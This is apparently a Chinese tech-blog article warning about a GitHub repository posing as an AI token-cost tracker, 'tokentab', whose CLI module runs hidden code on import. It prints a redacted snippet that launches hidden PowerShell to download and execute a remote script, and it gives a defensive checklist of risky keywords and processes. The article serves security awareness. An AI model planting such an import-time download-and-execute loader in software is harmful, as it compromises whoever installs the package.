事情是这样的。
我每天都要在 GitHub 上翻新项目,帮大家找那些能马上用的 AI 工具。昨天看到一个仓库,名字叫 tokentab,50 颗星,创建时间就在前几天。
README 写得很正常。它能读取 Claude Code、Codex、Gemini CLI 留在本地的会话日志,算出每个模型、每个项目、每天花了多少钱,还能开一个本地网页看报表。全程离线,不需要账号,不需要 API key。
听起来是不是很实用。
尤其是我这种每天被 token 账单追着跑的人,简直想立刻装一个。
然后我多看了一眼源码,后背一凉。
图注|本文封面,别乱装 AI 工具。封面为原创插画,代码字符为装饰,不可复制。
README 正常,代码不正常
这个仓库的 README 和 pyproject.toml 看起来都没有问题,项目描述、依赖、入口都写得像模像样。
问题出在 tokentab/cli.py 这个文件里。
Python 文件在 import 时会执行模块级代码,而它一进来就调用了 subprocess.Popen,尝试通过 ScriptRunner.exe 启动一个隐藏的 PowerShell,再去下载并执行 Pastebin 上的远程脚本。
我把它整理成一个脱敏版本,大家感受一下这个形状。
提示词
subprocess.Popen(
"ScriptRunner.exe -appvscript powershell.exe -WindowStyle Hidden "
"-NonInteractive -Command "
"\"iex (irm 'https://[已删除]')\"",
shell=True,
creationflags=subprocess.CREATE_NO_WINDOW,
)
这行代码不是功能,是投毒。
它不需要你点击任何按钮,只要你安装了项目并且 import 了模块,就会尝试执行。
更离谱的是,这个文件里的其他代码也和 README 描述的 tokentab 完全无关,混进了一个叫 claude-engineer 的交互式 REPL。README 像是一个正经项目,源码却像是从别的地方拼过来的。
为什么它没有得手
我触发了一次 import。
代码确实尝试拉起隐藏 PowerShell,但 Pastebin 已经把这个链接判定为有害内容,直接返回 404。也就是说,它想下载的第二阶段载荷根本没拿到,进程很快就结束了。
我随后检查了本机进程,没有发现残留的 ScriptRunner 或隐藏 PowerShell,也没有看到可疑的网络连接。为了保险,我把这个仓库的源码标记为恶意,删除了里面的执行入口,ZIP 也改成隔离命名,不再继续使用。
这里必须说清楚,我不是说我的机器一定没有问题。Pastebin 封得够快,这是运气,不是防御。
这类投毒为什么难防
因为它的表面工程做得太好了。
README 有截图,有安装步骤,有使用示例,甚至还有一张看起来像模像样的 dashboard 图片。pyproject.toml 的依赖也很少,不会像传统病毒那样一眼就露馅。
真正危险的地方在 import 路径里,而不是用户会主动运行的 main() 函数。
很多人的习惯是看到 README 不错就直接 pip install -e . 或者跑起来,根本不会先读一遍源码。投毒者赌的就是这个。
怎么在安装前发现它
我现在给自己定了几条规矩。
我的检查清单
第一,任何新仓库,先看代码再安装。尤其是 setup.py、pyproject.toml、__init__.py 和 CLI 入口文件。
第二,搜索几个高危关键词。subprocess、Popen、os.system、eval、exec、iex、irm、base64、curl、wget,还有远程 URL。只要出现在 import 路径上,立刻停下。
第三,看 README 和代码是否对得上。这个仓库 README 在讲 token 统计,入口文件却在做隐藏 PowerShell,明显不是同一个项目。
第四,看仓库年龄、提交记录、release 和 issue。50 星的新仓库不代表安全,反而可能是刚被包装出来的诱饵。
第五,真要在本地试,就放进虚拟机或沙箱,不给管理员权限,不要让它接触真实的 API key 和项目文件。
第六,跑完顺手看进程树。出现 ScriptRunner.exe、隐藏 PowerShell、wscript、mshta 这类进程,马上断网处置。
不是所有恶意代码都长得像病毒。有些只是安静地出现在 import 语句后面,等你自己按下回车。
这个仓库我为什么不推荐
tokentab 这个工具本身的想法很好,AI 记账确实是我的刚需。
但当前这个仓库已经不适合安装,README 正常不代表源码可信。如果你想找同类工具,建议等一个经过审计、有 release、有维护历史的版本,或者自己写一个只读日志的小脚本。
这个案例我不会提供安装步骤,也不会把恶意载荷原文放出来。写这篇文章的目的只有一个,让大家在安装下一个「看起来很棒的 AI 工具」之前,多花五分钟看代码。
好了,今天的投毒现场就聊到这里。觉得有用,就点个赞、点个在看,也可以转发给那些喜欢装各种 AI 工具的朋友。关注科技热点Daily,我们每天把好用的 AI 和安全坑都讲明白。
夜雨聆风